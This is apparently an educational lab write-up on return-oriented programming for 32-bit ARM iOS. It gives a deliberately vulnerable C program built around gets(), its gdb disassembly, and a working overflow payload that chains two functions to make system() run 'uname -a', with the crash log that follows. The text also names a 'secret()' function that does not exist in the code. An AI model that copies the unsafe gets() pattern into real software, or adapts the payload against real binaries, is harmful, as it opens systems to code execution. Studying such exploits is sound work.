0x03 Return Oriented Programming

Assembler

Assembly language is based on registers, that can store data or addresses, and each assembly instruction manipulate these registers in some way.

Most disassembled function have three common stages: start, main body and ending. Start pushes some values onto the stack, main body contains most of calculations, prints etc, ending pops some values off the stack back into some registers.

Return Oriented Programming

Return Oriented Programming, ROP, is an exploitation technique used to develop iOS exploits. It works by chaining together some parts of existing application code, that end in a return instruction, in order to perform a task designed by attacker. ROP involves parts of existing code so we know that the code will be executable. Jailbreak exploits have to be written entirely in ROP.

Gadgets are useful groups of assembly instructions that can be used in ROP. In ROP it is important to understand more of assembly code than we needed in previous test, to be able to analyse code and find gadgets.

On ARM, unlike other architectures, there is no ret instruction, ARM return instructions manually move a value into the pc. In example pop {r7, pc} from previous tests acts as a return instruction.

Ok, so let’s try to chain some parts of functions together and take advantage of ROP.

0x03.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char string[] = "echo date";

void change(){
    strcpy(string,"uname -a");
    printf("You changed string to execute ;)\n");
}

void hidden(){
    printf("Executing hidden function..\n");
    system(string);
}

int main() {
    printf("0x03 ROP\n");
    printf("enter some data:\n");

    char buff[12];
    gets(buff);
    printf("You entered: %s\n", buff);

    return 0;
}

Compile and sign:

$ clang 0x03.c -fno-stack-protector -fno-pie -arch armv7 -mios-version-min=6 -mno-thumb -isysroot /var/root/theos/sdks/iPhoneOS10.3.sdk/ -o 0x03
$ ldid -S 0x03

Normal run of this app should be:

$ ./0x03 
0x03 ROP
enter some data:
warning: this program uses gets(), which is unsafe.
123
You entered: 123

We are already warned by our program that it uses unsafe function, but we’ll proceed with that, just for testing purposes ;) Let’s analyse program and it’s functions:

$ gdb 0x03

(gdb) info functions
All defined functions:
Non-debugging symbols:
...
0x0000be34  change
0x0000be78  hidden
0x0000beb0  main
0x0000bf24   stub helpers
0x0000bff0  dyld_stub___strcpy_chk
0x0000bff4  dyld_stub_gets
0x0000bff8  dyld_stub_printf
0x0000bffc  dyld_stub_system

(gdb) disass main
Dump of assembler code for function main:
0x0000beb0 <main+0>:  80 40 2d e9                   push	{r7, lr}
0x0000beb4 <main+4>:  0d 70 a0 e1                   mov	r7, sp
0x0000beb8 <main+8>:  20 d0 4d e2                   sub	sp, sp, #32	; 0x20
0x0000bebc <main+12>:  c0 0f 0b e3                   movw	r0, #49088	; 0xbfc0
0x0000bec0 <main+16>:  00 00 40 e3                   movt	r0, #0	; 0x0
0x0000bec4 <main+20>:  00 10 00 e3                   movw	r1, #0	; 0x0
0x0000bec8 <main+24>:  04 10 07 e5                   str	r1, [r7, #-4]
0x0000becc <main+28>:  49 00 00 eb                   bl	0xbff8
0x0000bed0 <main+32>:  ca 1f 0b e3                   movw	r1, #49098	; 0xbfca
0x0000bed4 <main+36>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000bed8 <main+40>:  0c 00 8d e5                   str	r0, [sp, #12]
0x0000bedc <main+44>:  01 00 a0 e1                   mov	r0, r1
0x0000bee0 <main+48>:  44 00 00 eb                   bl	0xbff8
0x0000bee4 <main+52>:  10 10 8d e2                   add	r1, sp, #16	; 0x10
0x0000bee8 <main+56>:  08 00 8d e5                   str	r0, [sp, #8]
0x0000beec <main+60>:  01 00 a0 e1                   mov	r0, r1
0x0000bef0 <main+64>:  3f 00 00 eb                   bl	0xbff4
0x0000bef4 <main+68>:  dc 1f 0b e3                   movw	r1, #49116	; 0xbfdc
0x0000bef8 <main+72>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000befc <main+76>:  10 20 8d e2                   add	r2, sp, #16	; 0x10
0x0000bf00 <main+80>:  04 00 8d e5                   str	r0, [sp, #4]
0x0000bf04 <main+84>:  01 00 a0 e1                   mov	r0, r1
0x0000bf08 <main+88>:  02 10 a0 e1                   mov	r1, r2
0x0000bf0c <main+92>:  39 00 00 eb                   bl	0xbff8
0x0000bf10 <main+96>:  00 10 00 e3                   movw	r1, #0	; 0x0
0x0000bf14 <main+100>:  00 00 8d e5                   str	r0, [sp]
0x0000bf18 <main+104>:  01 00 a0 e1                   mov	r0, r1
0x0000bf1c <main+108>:  07 d0 a0 e1                   mov	sp, r7
0x0000bf20 <main+112>:  80 80 bd e8                   pop	{r7, pc}
End of assembler dump.
(gdb) disass change
Dump of assembler code for function change:
0x0000be34 <change+0>:  80 40 2d e9                   push	{r7, lr}
0x0000be38 <change+4>:  0d 70 a0 e1                   mov	r7, sp
0x0000be3c <change+8>:  08 d0 4d e2                   sub	sp, sp, #8	; 0x8
0x0000be40 <change+12>:  18 00 0c e3                   movw	r0, #49176	; 0xc018
0x0000be44 <change+16>:  00 00 40 e3                   movt	r0, #0	; 0x0
0x0000be48 <change+20>:  78 1f 0b e3                   movw	r1, #49016	; 0xbf78
0x0000be4c <change+24>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000be50 <change+28>:  0a 20 00 e3                   movw	r2, #10	; 0xa
0x0000be54 <change+32>:  65 00 00 eb                   bl	0xbff0
0x0000be58 <change+36>:  81 1f 0b e3                   movw	r1, #49025	; 0xbf81
0x0000be5c <change+40>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000be60 <change+44>:  04 00 8d e5                   str	r0, [sp, #4]
0x0000be64 <change+48>:  01 00 a0 e1                   mov	r0, r1
0x0000be68 <change+52>:  62 00 00 eb                   bl	0xbff8
0x0000be6c <change+56>:  00 00 8d e5                   str	r0, [sp]
0x0000be70 <change+60>:  07 d0 a0 e1                   mov	sp, r7
0x0000be74 <change+64>:  80 80 bd e8                   pop	{r7, pc}
End of assembler dump.
(gdb) disass hidden
Dump of assembler code for function hidden:
0x0000be78 <hidden+0>:  80 40 2d e9                   push	{r7, lr}
0x0000be7c <hidden+4>:  0d 70 a0 e1                   mov	r7, sp
0x0000be80 <hidden+8>:  08 d0 4d e2                   sub	sp, sp, #8	; 0x8
0x0000be84 <hidden+12>:  a3 0f 0b e3                   movw	r0, #49059	; 0xbfa3
0x0000be88 <hidden+16>:  00 00 40 e3                   movt	r0, #0	; 0x0
0x0000be8c <hidden+20>:  59 00 00 eb                   bl	0xbff8
0x0000be90 <hidden+24>:  18 10 0c e3                   movw	r1, #49176	; 0xc018
0x0000be94 <hidden+28>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000be98 <hidden+32>:  04 00 8d e5                   str	r0, [sp, #4]
0x0000be9c <hidden+36>:  01 00 a0 e1                   mov	r0, r1
0x0000bea0 <hidden+40>:  55 00 00 eb                   bl	0xbffc
0x0000bea4 <hidden+44>:  00 00 8d e5                   str	r0, [sp]
0x0000bea8 <hidden+48>:  07 d0 a0 e1                   mov	sp, r7
0x0000beac <hidden+52>:  80 80 bd e8                   pop	{r7, pc}
End of assembler dump.

Now it’s time for manipulating input data and analysing the crashlog. We know (or we could have find that in testing) that our buffer is declared for 12 characters and that FFFF are being written to program counter pc. We will swap it for second instruction of change() function (mov r7, sp). Jumping to second instruction will let us avoid initial push instruction, so we can set up the stack with return values pointing to secret() function. Then we need to add to fill r7 register with whatever (so anything like 0xffffffff will do to see it in logs eventually), and then we’ll give address to hidden() function.

String to contruct should be considered as: some offset value + address of change() + offset value + addres of secret()

So after much much testing, string to supply for my program was:

$ printf "AAAABBBBCCCCDDDDEEEE\x38\xbe\x00\x00\xff\xff\xff\xff\x78\xbe\x00\x00" | ./0x03

0x03 ROP
enter some data:
warning: this program uses gets(), which is unsafe.
You entered: AAAABBBBCCCCDDDDEEEE8?
You changed string to execute ;)
Executing hidden function..
Darwin iPhone 16.7.0 Darwin Kernel Version 16.7.0: Wed Jul 26 11:08:56 PDT 2017; root:xnu-3789.70.16~21/MarijuanARM_S5L8950X iPhone5,2 arm N42AP Darwin
Bus error: 10

Yeah we got it 😎 chained together two functions and got them executed as intended: changed executed command string to uname -a and run hidden() funtion.

And quick last look at the crash log:

$ cat /var/mobile/Library/Logs/CrashReporter/0x03-2020-08-12-144840.ips

Exception Type:  EXC_BAD_ACCESS (SIGBUS)
Exception Subtype: EXC_ARM_DA_ALIGN at 0xffffffff
Termination Signal: Bus error: 10

Thread 0 crashed with ARM Thread State (32-bit):
    r0: 0x00000000    r1: 0x00000000      r2: 0xd26300a2      r3: 0x00000103
    r4: 0x00000000    r5: 0x0000beb0      r6: 0x00000000      r7: 0xffffffff
    r8: 0x001d8d50    r9: 0x00000000     r10: 0x00000000     r11: 0x00000000
    ip: 0x3a051398    sp: 0xffffffff      lr: 0x00000000      pc: 0x0000be74
  cpsr: 0x60000010